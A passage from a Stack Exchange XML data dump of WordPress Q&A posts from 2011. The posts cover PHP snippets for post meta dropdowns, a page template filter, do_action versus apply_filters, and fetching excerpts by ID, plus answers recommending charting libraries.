if( '_dappcf_i_dropdown' == $field ) {&#xA;                if( in_array( $_POST[$field], inventory_dropdown_opts() ) )&#xA;                    update_post_meta( $post_id, $field, $_POST[$field] );&#xA;                continue;&#xA;            }&#xA;            update_post_meta( $post_id, $field, $_POST[$field] );&#xA;            continue;&#xA;        }&#xA;        delete_post_meta( $post_id, $key );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Follow-up #1&lt;/strong&gt;&lt;br&gt;&#xA;If you need to show the dropdown in the front end, just do it the same way i did inside the &lt;code&gt;inventory_information&lt;/code&gt; function, like so..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;select name=&quot;add-a-name-here&quot; class=&quot;widefat&quot;&amp;gt;&#xA;    &amp;lt;?php foreach( inventory_dropdown_opts() as $text =&amp;gt; $value ) : ?&amp;gt;&#xA;        &amp;lt;option value=&quot;&amp;lt;?php echo $value; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $text; ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your dropdown options are defined in the &lt;code&gt;inventory_dropdown_opts&lt;/code&gt; function, so you can use the same both front and admin side, and see the same data.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-31T17:40:26.587" LastActivityDate="2011-03-31T17:40:26.587" CommentCount="3" />
  <row Id="12490" PostTypeId="2" ParentId="12488" CreationDate="2011-03-19T15:36:28.430" Score="0" ViewCount="" Body="&lt;p&gt;Automattic's Stats plugin uses &lt;a href=&quot;http://teethgrinder.co.uk/open-flash-chart-2/&quot; rel=&quot;nofollow&quot;&gt;Open Flash Chart&lt;/a&gt;, which is licensed under LGPL, so you might want to take a look at that.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-19T15:36:28.430" CommentCount="5" />
  <row Id="12492" PostTypeId="2" ParentId="1567" CreationDate="2011-03-19T15:52:55.597" Score="4" ViewCount="" Body="&lt;h1&gt;Add page template filter to page listing&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/strong&gt; WP 3.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adds a page template filter to the page listing, so you can view a list of pages that have a given template attached.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Page_Template_Filter {&#xA;    private $templates = array();&#xA;    public function __construct() {&#xA;        // If it's not the admin area or the current user can't edit pages let's just bail here&#xA;        if( !is_admin() || !current_user_can('edit_pages') )&#xA;            return;&#xA;        add_action( 'parse_query',           array( $this, 'pt_parse_query' ) );&#xA;        add_action( 'restrict_manage_posts', array( $this, 'pt_restrict_manage_posts' ) );&#xA;    }&#xA;    public function pt_parse_query( $query ) {&#xA;        global $pagenow, $post_type;&#xA;        if( 'edit.php' != $pagenow )&#xA;            return;&#xA;&#xA;        switch( $post_type ) {&#xA;            case 'post':&#xA;&#xA;            break;&#xA;            case 'page':&#xA;                $this-&amp;gt;templates = get_page_templates();&#xA;&#xA;                if( empty( $this-&amp;gt;templates ) )&#xA;                    return;&#xA;&#xA;                if( !$this-&amp;gt;is_set_template() )&#xA;                    return;&#xA;&#xA;                $meta_group = array( 'key' =&amp;gt; '_wp_page_template', 'value' =&amp;gt; $this-&amp;gt;get_template() );&#xA;                set_query_var( 'meta_query', array( $meta_group ) );&#xA;            break;&#xA;        }&#xA;    }&#xA;    public function pt_restrict_manage_posts() {&#xA;        if( empty( $this-&amp;gt;templates ) )&#xA;            return;&#xA;        $this-&amp;gt;template_dropdown();&#xA;    }&#xA;    private function get_template() {&#xA;        if( $this-&amp;gt;is_set_template() )&#xA;            foreach( $this-&amp;gt;templates as $template ) {&#xA;                if( $template != $_GET['page_template'] )&#xA;                    continue;&#xA;                return $template;&#xA;            }&#xA;        return '';&#xA;    }&#xA;    private function is_set_template() {&#xA;        return (bool) ( isset( $_GET['page_template'] ) &amp;amp;&amp;amp; ( in_array( $_GET['page_template'], $this-&amp;gt;templates ) ) );&#xA;    }&#xA;    private function template_dropdown() {&#xA;        ?&amp;gt;&#xA;        &amp;lt;select name=&quot;page_template&quot; id=&quot;page_template&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;&quot;&amp;gt; - no template - &amp;lt;/option&amp;gt;&#xA;            &amp;lt;?php foreach( $this-&amp;gt;templates as $name =&amp;gt; $file ): ?&amp;gt;&#xA;            &amp;lt;option value=&quot;&amp;lt;?php echo $file; ?&amp;gt;&quot;&amp;lt;?php selected( $this-&amp;gt;get_template() == $file ); ?&amp;gt;&amp;gt;&amp;lt;?php _e( $name ); ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;            &amp;lt;?php endforeach;?&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;        &amp;lt;?php &#xA;    }&#xA;}&#xA;&#xA;add_action('admin_init', 'load_ptf');&#xA;function load_ptf() {&#xA;    $Page_Template_Filter = new Page_Template_Filter;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Requires at least 3.1 to work, though the &lt;code&gt;meta_query&lt;/code&gt; could be replaced with the older &lt;code&gt;meta_key&lt;/code&gt; and &lt;code&gt;meta_value&lt;/code&gt; for 3.0.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-19T15:52:55.597" CommunityOwnedDate="2011-03-19T15:52:55.597" />
  <row Id="12493" PostTypeId="1" CreationDate="2011-03-19T16:20:40.430" Score="1" ViewCount="104" Body="&lt;p&gt;I had asked question like this long ago at WPTavern and it fizzled. Hope it fares better this time. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Drawing graphs can be done with multiple methods (generating image files, JS, Flash) and there are a lot of libraries available overall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there are some specific factors in context of WordPress:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;it might be efficient to use lighter library with dependency on scripts bundled with WP (like jQuery);&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;it needs to be licensed under GPLv2 or compatible to fit in official repository (note that it has more harsh requirements than WP itself);&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;there are probably some specifics that make things easier/harder to use with WP techniques, like passing data to JavaScript with localization functions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What libraries or other solutions had you used to build graphs in WordPress? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please one thing per answer, so it is easier to discuss and vote on.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-09T11:05:48.993" LastActivityDate="2011-04-09T11:05:48.993" CommunityOwnedDate="2011-04-09T11:05:48.993" Title="Graphing libraries for WordPress" Tags="&lt;images&gt;&lt;javascript&gt;&lt;flash&gt;&lt;graphs&gt;" AnswerCount="7" CommentCount="0" FavoriteCount="2" />
  <row Id="12494" PostTypeId="2" ParentId="12493" CreationDate="2011-03-19T16:30:32.837" Score="1" ViewCount="" Body="&lt;h2&gt;&lt;a href=&quot;http://code.google.com/apis/chart/&quot; rel=&quot;nofollow&quot;&gt;Google Chart API&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Free service, that generates chart images (hosted and served by Google) from data in URL requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need something very specific and of fixed parameters it is easy to hardcode most of it and get away without any library (and licensing issues) at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disadvantages:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;not suitable for sensitive data (passed to and from Google over Internet);&lt;/li&gt;&#xA;&lt;li&gt;not interactive.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Self-plug - I developed my own PHP wrapper for it, but it's a bit stale at moment &lt;a href=&quot;http://www.rarst.net/script/google-chart/&quot; rel=&quot;nofollow&quot;&gt;PHP class/WP plugin for Google Charts API&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-19T16:30:32.837" CommunityOwnedDate="2011-03-19T16:32:00.387" />
  <row Id="12496" PostTypeId="2" ParentId="12493" CreationDate="2011-03-19T17:33:31.923" Score="1" ViewCount="" Body="&lt;h2&gt;&lt;a href=&quot;http://www.highcharts.com/&quot; rel=&quot;nofollow&quot;&gt;Highcharts&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Highcharts is a charting library written in pure JavaScript, offering an easy way of adding interactive charts to your web site or web application.&#xA;Supports:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;line&lt;/li&gt;&#xA;&lt;li&gt;spline&lt;/li&gt;&#xA;&lt;li&gt;area&lt;/li&gt;&#xA;&lt;li&gt;areaspline&lt;/li&gt;&#xA;&lt;li&gt;column&lt;/li&gt;&#xA;&lt;li&gt;bar&lt;/li&gt;&#xA;&lt;li&gt;pie&lt;/li&gt;&#xA;&lt;li&gt;scatter chart types&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;License and Pricing&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Non-commercial - Free under the Creative Commons Attribution-NonCommercial 3.0 License. &lt;/li&gt;&#xA;&lt;li&gt;Commercial Single Website - $80&lt;/li&gt;&#xA;&lt;li&gt;Developer Licenses - Single Developer License:  $360 , 5 Developer License: $1200 , 10 Developer License: $2000.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have used it before but not in any WordPress project so i really can't tell.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-19T17:33:31.923" />
  <row Id="12497" PostTypeId="1" AcceptedAnswerId="12499" CreationDate="2011-03-19T17:33:42.057" Score="1" ViewCount="178" Body="&lt;p&gt;I was &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/do_action&quot; rel=&quot;nofollow&quot;&gt;updating the codex page example for action hooks&lt;/a&gt;, while playing around to get some reuseable functions done (originally for some Q over here @WA). But then i ran into a problem i wasn't aware of before: After hooking into a function to modify the output of a variable, i can't anymore decide if i want to echo the output or just return it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Problem:&lt;/strong&gt; I can modify variables that i pass to a &lt;code&gt;do_action&lt;/code&gt; hook with a callback function. Everything i modify/add with the variable is only available inside the callback function, but not after the &lt;code&gt;do_action&lt;/code&gt; call inside the original function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;FOR YOUR PLEASURE:&lt;/em&gt; I reworked it to an working example, so you can just copy/paste it in some &lt;code&gt;functions.php&lt;/code&gt; file and see/test the problem without any efforts. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example:&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;Handle data function&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This is the handle_data_fn. A little over documented as it should serve as a guide on how to parse and merge default with other arguments.&lt;br&gt;&#xA;You can see the problem at the end of the function right after the do_action() call.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * The &quot;global&quot; data handle function&#xA; * &#xA; * This function can serve a lot of different purposes.&#xA; * Incl. merging db values from an options entry with input arguments.&#xA; * &#xA; * Throws a fully translateable Error if no database option name was specified.&#xA; * Tells you from which file the Error was triggered and in which line you should search it.&#xA; * Also tells you the &quot;hook_data_handle_$args['UID']&quot; name of the action hook where the Error occured. &#xA; * &#xA; * Uses of external function calls in order of their appearance inside the function:&#xA; * @uses:   isset()         - @link: http://php.net/manual/en/function.isset.php&#xA; * @uses:   wp_die()        - @link: http://codex.wordpress.org/Function_Reference/wp_die&#xA; * @uses:   printf()        - @link: http://php.net/manual/en/function.printf.php&#xA; * @uses:   _e()            - @link: http://codex.wordpress.org/Function_Reference/_e (i18n function)&#xA; * @uses:   apply_filters() - @link: http://codex.wordpress.org/Function_Reference/apply_filters&#xA; * @uses:   wp_parse_args() - @link: http://codex.wordpress.org/Function_Reference/wp_parse_args&#xA; * @uses:   extract()       - @link: http://php.net/manual/en/function.extract.php&#xA; * @uses:   get_option()    - @link: http://codex.wordpress.org/Function_Reference/get_option&#xA; * @uses:   do_action()     - @link: http://codex.wordpress.org/Function_Reference/do_action&#xA; * @uses:   return          - @link: http://php.net/manual/en/function.return.php&#xA; * &#xA; * @param:  (array) mixed $args | array of arguments - `$args['UID']` is always a must have&#xA; * @param:  $database           | true if you want to get and modify some db-option - `$args['name']` then is a must have&#xA; * @param:  $output             | result from the function - @internal: should not get set&#xA; */&#xA;    function handle_data_fn( $args = array() )&#xA;    {&#xA;        // abort if we ain't got some unique identifier as argument&#xA;        if ( !isset( $args['UID']) )&#xA;            return;&#xA;&#xA;        // Trigger Error if an option should get retrieved from the database, &#xA;        // but no option name was specified&#xA;        if ( !isset( $args['name'] ) )&#xA;            wp_die( &#xA;                printf(&#xA;                    _e(&#xA;                        'You have to specify the &quot;name&quot; of a db-entry as argument inside a handle_data_fn at for the action hook: %1$s.'.&quot;\n&quot;.&#xA;                        'Error triggered inside: file name %2$s (line number %3$s)'&#xA;                     )&#xA;                    ,'some_textdomain'&#xA;                 )&#xA;                ,'hook_data_handle_'.$args['UID'].'`'&#xA;                ,__FILE__&#xA;                ,__LINE__&#xA;            );&#xA;&#xA;&#xA;        // setup default arguments&#xA;        $defaults = ( &#xA;            array(&#xA;                 'UID'      =&amp;gt; null     // DB/css: #id | used to identify the data inside your database - $name[$ID] - can be used as css #id too&#xA;                ,'name'     =&amp;gt; null     // name of DB field, should be a constant when fn get's triggered - just here for completeness, not needed&#xA;                ,'args'     =&amp;gt; array(   // $arguments the function can handle - put default arguments in here as array data&#xA;                    // 'classes'    =&amp;gt; null     // css: .class - example&#xA;                 )&#xA;                ,'output'   =&amp;gt; ''&#xA;                ,'echo'     =&amp;gt; false    // if you want to echo the output or just save it in a var for later modifying&#xA;            ) &#xA;        );&#xA;        // filter defaults&#xA;        $defaults = apply_filters( 'filter_defaults_'.$args['UID'], $defaults ); &#xA;&#xA;        // merge defaults with input arguments&#xA;        $args = wp_parse_args( $args, $defaults );&#xA;        extract( $args, EXTR_SKIP );&#xA;&#xA;        // in case you want to call the global function again, &#xA;        // but for some reason need to modify the merged result of defaults &amp;amp; arguments&#xA;        $args = apply_filters( 'filter_args_'.$args['UID'], $args );&#xA;&#xA;        // retrieve the database option&#xA;        if ( isset( $args['name'] ) )&#xA;            $options = get_option( $args['name'] );&#xA;&#xA;&#xA;        # &amp;gt;&amp;gt;&amp;gt; start building $output&#xA;&#xA;            // if true, echo the $output&#xA;            if ( isset( $args['echo'] ) )&#xA;            {&#xA;                if ( $args['echo'] === true )&#xA;                {&#xA;                    // do stuff here - your argument is the initial array&#xA;                    do_action( 'hook_data_handle_'.$args['UID'], $args, $options );&#xA;&#xA;                    // Test output inside handle_fn: &#xA;                    echo '&amp;lt;pre&amp;gt;From inside handle_fn: ';&#xA;                        print_r($args);&#xA;                    echo '&amp;lt;/pre&amp;gt;';&#xA;&#xA;                    return;&#xA;                }&#xA;&#xA;            }&#xA;&#xA;            // else just return the $output&#xA;            // HOW CAN I NOT ECHO THE DATA HERE. &#xA;            // STORING THE do_action return VALUE DOESN'T WORK.&#xA;            // NEITHER DOES JUST returnING IT INSIDE THE CALLBACK FN 'modify_args_fn' BELOW&#xA;            do_action( 'hook_data_handle_'.$args['UID'], $args, $options );&#xA;            return;&#xA;&#xA;        # &amp;lt;&amp;lt;&amp;lt; end building $output&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Callback functions&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Those are used to a) build the initial array and b) modify the output.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * EXAMPLE for how to add initial data to the handle_data_fn function.&#xA; * &#xA; * @param (array) mixed $args&#xA; */&#xA;    function build_args_fn ( $args ) {&#xA;        // build initial array&#xA;        $args = array(&#xA;             'UID'      =&amp;gt; 'whatever_UID'&#xA;            ,'name'     =&amp;gt; 'some_options_name'&#xA;            ,'args'     =&amp;gt; array(&#xA;                'class' =&amp;gt; 'example-wrap'&#xA;             )&#xA;            ,'echo'     =&amp;gt; true&#xA;        );&#xA;&#xA;        handle_data_fn( $args );&#xA;    }&#xA;    // 'some_hook' is some hook in a template file where the output should get echoed.&#xA;    add_action( 'some_hook', 'build_args_fn', 0, 1 );&#xA;&#xA;/**&#xA; * EXAMPLE for how to add content and modify the options from the DB inside a handle_data_fn function.&#xA; * &#xA; * @param (array) mixed $args&#xA; * @param (array) mixed $options    | db-options retrieved inside the oxo_parse function&#xA; */&#xA;    function modify_args_fn ( $args, $options )&#xA;    {&#xA;        $args['output'] .= '&amp;lt;div class=&quot;container&quot;&amp;gt;';&#xA;        $args['output'] .= '&amp;lt;div class=&quot;'.$args['args']['class'].'&quot;&amp;gt;';&#xA;        $args['output'] .= $options;&#xA;        $args['output'] .= '&amp;lt;/div&amp;gt;';&#xA;        $args['output'] .= '&amp;lt;/div&amp;gt;';&#xA;&#xA;        // Test output inside callback fn&#xA;        echo '&amp;lt;pre&amp;gt;From inside callback: ';&#xA;            print_r($args);&#xA;        echo '&amp;lt;/pre&amp;gt;';&#xA;&#xA;        // HERE'S THE PROBLEM. I CAN'T SIMPLE return IT, BECAUSE IT WOULDN'T BE AVAILABLE INSIDE MY 'data_handle_fn'.&#xA;        # return $args['output'];&#xA;        // I HAVE TO PRINT IT TO GET SOME OUTPUT. THE $args['output'] IS NOT AVAILABLE INSIDE THE 'handle_data_fn' AFTER THE do_action CALL.&#xA;        return print $args['output'];&#xA;    }&#xA;    // Name of the hook comes from 'UID' argument in 'build_args_fn' combined with 'hook_data_handle_'&#xA;    add_action ( 'hook_data_handle_whatever_UID', 'modify_args_fn', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for any info &amp;amp; help about this issue.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-20T13:51:23.470" LastActivityDate="2011-03-20T13:51:23.470" Title="hooks &amp; filters and variables" Tags="&lt;hooks&gt;&lt;filters&gt;&lt;do-action&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="12498" PostTypeId="1" AcceptedAnswerId="12503" CreationDate="2011-03-19T17:34:36.993" Score="0" ViewCount="1066" Body="&lt;p&gt;Why is it that one cannot get the excerpt by ID like with the title and most other elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg. get_the_excerpt(ID). I know how to use it with the $post-&gt;post_excerpt function but that does not return part of the content if no excerpt was entered it simple returns nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I am trying to do is get the excerpt by ID if there is an excerpt, and if there isn't an excerpt with that ID but there is some content, to get some of the content instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would one do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marvellous ... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT -- &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Loop Source Code as Requested.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $stories = get_posts('category_name=feedback&amp;amp;numberposts=4'); &#xA;            foreach ($stories as $post) :&#xA;            $title = $post-&amp;gt;post_title;&#xA;            $excerpt = get_the_excerpt_id($post-&amp;gt;ID);&#xA;            $thumb = get_the_post_thumbnail($post-&amp;gt;ID,array(60, 60, true));?&amp;gt;&#xA;              &amp;lt;div class=&quot;textstandard_white&quot; style=&quot;font-size:14px; line-height:22px; padding-top:10px;&quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_permalink($post-&amp;gt;ID);?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $title;?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div align=&quot;left&quot; style=&quot;height:18px; width:82px; background:url(http://www.divethegap.com/update/z-images/structure/icons/stars.png) left top no-repeat;&quot;&amp;gt;&amp;lt;div id=&quot;stars&amp;lt;?php echo $post-&amp;gt;ID;?&amp;gt;&quot; align=&quot;left&quot; style=&quot;height:18px; background:url(http://www.divethegap.com/update/z-images/structure/icons/stars_glow.png) left top no-repeat;&quot;&amp;gt;&#xA;                  &amp;lt;/div&amp;gt;&#xA;                  &amp;lt;/div&amp;gt;&#xA;&#xA;                  &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;                var width&amp;lt;?php echo $post-&amp;gt;ID;?&amp;gt; = ((&amp;lt;?php&#xA;$Rating = get_post_meta($post-&amp;gt;ID, &quot;Rating&quot;, true);&#xA;echo $Rating;&#xA;?&amp;gt; * 20) + '%')&#xA;                  $('#stars&amp;lt;?php echo $post-&amp;gt;ID;?&amp;gt;').css('width', width&amp;lt;?php echo $post-&amp;gt;ID;?&amp;gt;);&#xA;&#xA;                 &amp;lt;/script&amp;gt;&amp;lt;div class=&quot;textstandard_white&quot; style=&quot;padding-top:6px; font-size:10px; color:#BBB; padding-bottom:10px; border-bottom:1px dotted #BBB; min-height:70px;&quot;&amp;gt;&amp;lt;div style=&quot;float:left; padding-right:6px; padding-bottom:6px;&quot;&amp;gt;&amp;lt;div style=&quot;background:#FFF; border:1px solid #FFF;&#xA;border-radius: 4px; -moz-border-radius: 4px ; -webkit-border-radius: 4px; padding:4px;&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_permalink($post-&amp;gt;ID);?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $thumb;?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&#xA;&amp;lt;?php echo $excerpt;?&amp;gt;&amp;lt;/div&amp;gt;&#xA;              &amp;lt;?php endforeach;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2957" LastEditorUserId="2957" LastEditorDisplayName="" LastEditDate="2011-03-19T20:27:53.377" LastActivityDate="2011-07-11T13:01:45.373" Title="GET the excerpt by ID" Tags="&lt;posts&gt;&lt;excerpt&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="12499" PostTypeId="2" ParentId="12497" CreationDate="2011-03-19T17:36:40.493" Score="1" ViewCount="" Body="&lt;p&gt;If you want to return the data, the best solution is to use apply_filters() and instruct the callback to always return:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$output = apply_filters( 'hook_data_handle_'.$args['UID'], $args, $options );&#xA;&#xA;if ( $args['echo'] )&#xA;  echo $output;&#xA;else&#xA;  return $output;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A less elegant solution would be to use &lt;a href=&quot;http://www.php.net/manual/en/function.ob-start.php&quot; rel=&quot;nofollow&quot;&gt;output buffering&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-03-20T10:54:21.643" LastActivityDate="2011-03-20T10:54:21.643" CommentCount="5" />
  <row Id="12500" PostTypeId="2" ParentId="12493" CreationDate="2011-03-19T17:44:17.733" Score="0" ViewCount="" Body="&lt;h2&gt;&lt;a href=&quot;http://naku.dohcrew.com/libchart/pages/introduction/&quot; rel=&quot;nofollow&quot;&gt;Libchart&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Libchart is a free chart creation PHP library, that is extremely easy to use and has &lt;a href=&quot;http://naku.dohcrew.com/libchart/pages/documentation/&quot; rel=&quot;nofollow&quot;&gt;greatly documented&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Fetures&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bar charts (horizontal or vertical).&lt;/li&gt;&#xA;&lt;li&gt;Line charts.&lt;/li&gt;&#xA;&lt;li&gt;Pie charts.&lt;/li&gt;&#xA;&lt;li&gt;Single or multiple data sets.&lt;/li&gt;&#xA;&lt;li&gt;Compatibility with PHP 5.&lt;/li&gt;&#xA;&lt;li&gt;Easy to study how it works and adapt to your needs.&lt;/li&gt;&#xA;&lt;li&gt;No external dependency, need only PHP compiled with GD and FreeType.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;License&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Libchart is a free software distributed under the terms of the GNU General Public License (GPL).&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-19T17:44:17.733" />
  <row Id="12501" PostTypeId="2" ParentId="12493" CreationDate="2011-03-19T17:52:21.313" Score="0" ViewCount="" Body="&lt;h2&gt;&lt;a href=&quot;http://www.fusioncharts.com/free/&quot; rel=&quot;nofollow&quot;&gt;FusionCharts Free&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;FusionCharts Free is a completely free and open-source Flash charting component. It empowers you to create animated and interactive Flash charts for your web applications, desktop applications and presentations.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Features&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Provides 22 popular charts like Column, Line, Pie, Bar, Doughnut, Area, Stacked, Candlestick and Funnel Chart.&lt;/li&gt;&#xA;&lt;li&gt;Animated charts.&lt;/li&gt;&#xA;&lt;li&gt;The charts can be implemented independent of the script or the back-end database used.&lt;/li&gt;&#xA;&lt;li&gt;Flash-based and need only Flash 6 to run.&lt;/li&gt;&#xA;&lt;li&gt;Partial support in Ajax.&lt;/li&gt;&#xA;&lt;li&gt;Extended API for easy implementation.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;License&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;FusionCharts Free is dual licensed under the MIT (X11) and GNU GPL licenses.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-19T17:52:21.313" />
  <row Id="12502" PostTypeId="1" CreationDate="2011-03-19T18:16:30.193" Score="0" ViewCount="122" Body="&lt;p&gt;Is there a way to move the links such as Add New Appearance Comments into one menu &lt;/p&gt;&#xA;" OwnerUserId="4059" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-03-19T18:23:34.440" LastActivityDate="2011-05-20T18:52:05.280" Title="WordPress Admin Bar Moving Links" Tags="&lt;admin-bar&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="12503" PostTypeId="2" ParentId="12498" CreationDate="2011-03-19T18:33:57.190" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Robin I. Knight:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I view &lt;code&gt;get_the_excerpt()&lt;/code&gt; as a function with legacy design. As WordPress usage has grown there are many newer use-cases where it doesn't fit but where the newer functions for getting different data do. One example is the now frequent use of an &lt;code&gt;$args&lt;/code&gt; array of function options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it's easy to fix for your needs. Here's an alternative function you can use which you can put anywhere in your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function robins_get_the_excerpt($post_id) {&#xA;  global $post;  &#xA;  $save_post = $post;&#xA;  $post = get_post($post_id);&#xA;  $output = get_the_excerpt();&#xA;  $post = $save_post;&#xA;  return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've not tested it but am pretty sure I got it right. If this doesn't meet your needs please elaborate and maybe I can make other suggestions.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-03-19T18:33:57.190" CommentCount="5" />
  <row Id="12506" PostTypeId="2" ParentId="12444" CreationDate="2011-03-19T19:20:53.913" Score="0" ViewCount="" Body="&lt;p&gt;I've finally managed to track down the cause of the problem .. it was a Plugin that seems to have issues (Top Level Categories). I've looked into their documentation, but there is no indication that I would run into that problem. Hmmmm ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least it's working now!&lt;/p&gt;&#xA;" OwnerUserId="3943" LastActivityDate="2011-03-19T19:20:53.913" />
  <row Id="12507" PostTypeId="2" ParentId="12488" CreationDate="2011-03-19T19:31:08.633" Score="1" ViewCount="" Body="&lt;p&gt;The easiest thing I think is to ask wordpress.org if it's possible that they host your plugin with GPL v3+ compatibility. Probably they say yes. Give it a try, the discussion was very new back in the end of January so points of views might be a bit more settled these days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO there is not really something to loose if they allow GPL v3+ plugins in the repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case they find code that is cool for core, they can ask. I mean, who would not relicense code then if it's possible. It's nothing as static as it's often said.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next thing you can do is to ask the excanvas project if you can use their code under MIT as well. Probably they do allow you that. Ask them. Probably that's already possible, because flot ships under MIT and it incorporates the excanvas code in it's package. But you should always ask on 